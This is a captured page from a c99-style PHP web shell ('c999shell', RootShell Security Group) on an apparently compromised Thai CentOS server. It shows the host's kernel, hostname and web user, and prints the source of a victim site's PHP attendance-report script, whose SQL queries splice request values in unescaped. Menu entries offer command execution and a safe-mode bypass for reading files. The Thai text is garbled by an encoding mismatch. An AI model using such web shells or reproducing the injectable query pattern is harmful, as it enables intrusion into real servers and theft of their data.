Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage/develop_person_depart/ drwxr-xr-x |
Viewing file: Select action/file-type: <?php $filename ="report_".(($_REQUEST['dateStart'])?$_REQUEST['dateStart']:date("d/m/Y"))."-".(($_REQUEST['dateFinish'])?$_REQUEST['dateFinish']:date("d/m/Y")).".xls"; header('Content-type: application/xls'); header('Content-Disposition: attachment; filename='.$filename); /** Define Validate Access */ define( '_VALID_ACCESS', 1 ); /** Configuration */ include( "../configuration.php" ); require_once( $_Config_absolute_path . "/includes/framework.php" ); require_once( $_Config_absolute_path . "/include/Function.php" ); /** Create Database Object */ $dbObj = new DBConn; //$query = " SELECT * FROM history_absent_tb , personal_tb WHERE personal_tb.Teacher_code = history_absent_tb.Teacher_code AND history_absent_tb.Date_start >= '".dmyE2ymdT($_REQUEST['dateStart'])."' AND history_absent_tb.Date_finish <= '".dmyE2ymdT($_REQUEST['dateFinish'])."' "; $query = " SELECT *, prefixName as First_name FROM history_absent_tb LEFT JOIN personal_tb ON history_absent_tb.Teacher_code = personal_tb.Teacher_code LEFT JOIN prefix ON personal_tb.First_name = prefix.prefixId WHERE history_absent_tb.Date_start >= '".dmyE2ymdT($_REQUEST['dateStart'])."' AND history_absent_tb.Date_finish <= '".dmyE2ymdT($_REQUEST['dateFinish'])."' "; $result = $dbObj->execQuery($query); ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=windows-874" /> <!--<title><?=$_Config_sitename;?> - ¢éÍÁÙŧҹÊÒúÃó - ¢éÍÁÙÅÃÒ¡ÒÃ˹ѧÊ×ÍÃѺ-Êè§</title> <script type="text/javascript" src="./js/utilities.js"></script> <script type="text/javascript" src="./js/calendarDateInput2.js"></script> <link href="./css/default.css" rel="stylesheet" type="text/css" />--> </head> <body> <table width="781" border="1" align="center" cellpadding="0" cellspacing="0"> <tr bgcolor="#F0F0F0"> <td height="31" colspan="5" align="center"><strong>¢éÍÁÙÅ¡ÒÃÅÒ µÑé§áµèÇѹ·Õè <?=($_REQUEST['dateStart'])?dmyE2dmyT($_REQUEST['dateStart']):dmyE2dmyT(date("d/m/Y"));?> ¶Ö§Çѹ·Õè <?=($_REQUEST['dateFinish'])?dmyE2dmyT($_REQUEST['dateFinish']):dmyE2dmyT(date("d/m/Y"));?></strong></td> </tr> <tr bgcolor="#F0F0F0"> <td width="27" height="25" align="center"><strong>No</strong></td> <td width="269" align="center"><strong>ª×èÍ</strong></td> <td width="215" align="center"><strong>àÃ×èͧ</strong></td> <td width="201" align="center"><strong>ÃÐËÇèÒ§Çѹ·Õè</strong></td> <td width="92" align="center">¨Ó¹Ç¹Çѹ·ÕèÅÒ</td> </tr> <?php $no = 1+($display-1)*$limit; while( $rs = $dbObj->fetchArray($result) ) { $bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" : "#FFFFFF"; ?> <tr> <td height="23" align="center"><?=$no;?></td> <td align="left"><?php echo " $rs[First_name] $rs[Teacher_name] $rs[Teacher_lastname]";?></td> <td align="left"><span class="PADDING-LEFT-3 PADDING-RIGHT-3 BORDER-TOP"> <?php $query = " SELECT * FROM history_absent WHERE Absent_code='$rs[Absent_code]' "; $result2 = $dbObj->execQuery($query); $rs2 = $dbObj->fetchArray($result2); $dbObj->freeresult($result1); echo " $rs2[Absent_type] "; ?> </span></td> <td align="center"><?php $sday = $rs['Date_start']; $yearthai = explode("-",$sday); $day = intval($yearthai[2]); $month = intval($yearthai[1]); $year = intval($yearthai[0]); $m = getThaiSubMonth($month); echo "$day"." "."$m"." "."$year"; ?> - <?php $sday = $rs['Date_finish']; $yearthai = explode("-",$sday); $day = intval($yearthai[2]); $month = intval($yearthai[1]); $year = intval($yearthai[0]); $m = getThaiSubMonth($month); echo "$day"." "."$m"." "."$year"; ?></td> <td align="center"><span class="PADDING-RIGHT-5 BORDER-TOP-LEFT"> <?php //$query = " SELECT * FROM history_absent_tb WHERE Teacher_code='$rs[Teacher_code]' "; // $result3 = $dbObj->execQuery($query); // $rs3 = $dbObj->fetchArray($result3); // $dbObj->freeresult($result3); echo " $rs[Absent_times] "; ?> </span></td> </tr> <?php $no++; } # while ?> </table> </body> </html> <?php /** Free Resource */ $dbObj->freeresult($result); /** Close the Database */ $dbObj->disconn(); /** Unset Class */ unset($dbObj); ?> |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0063 ]-- |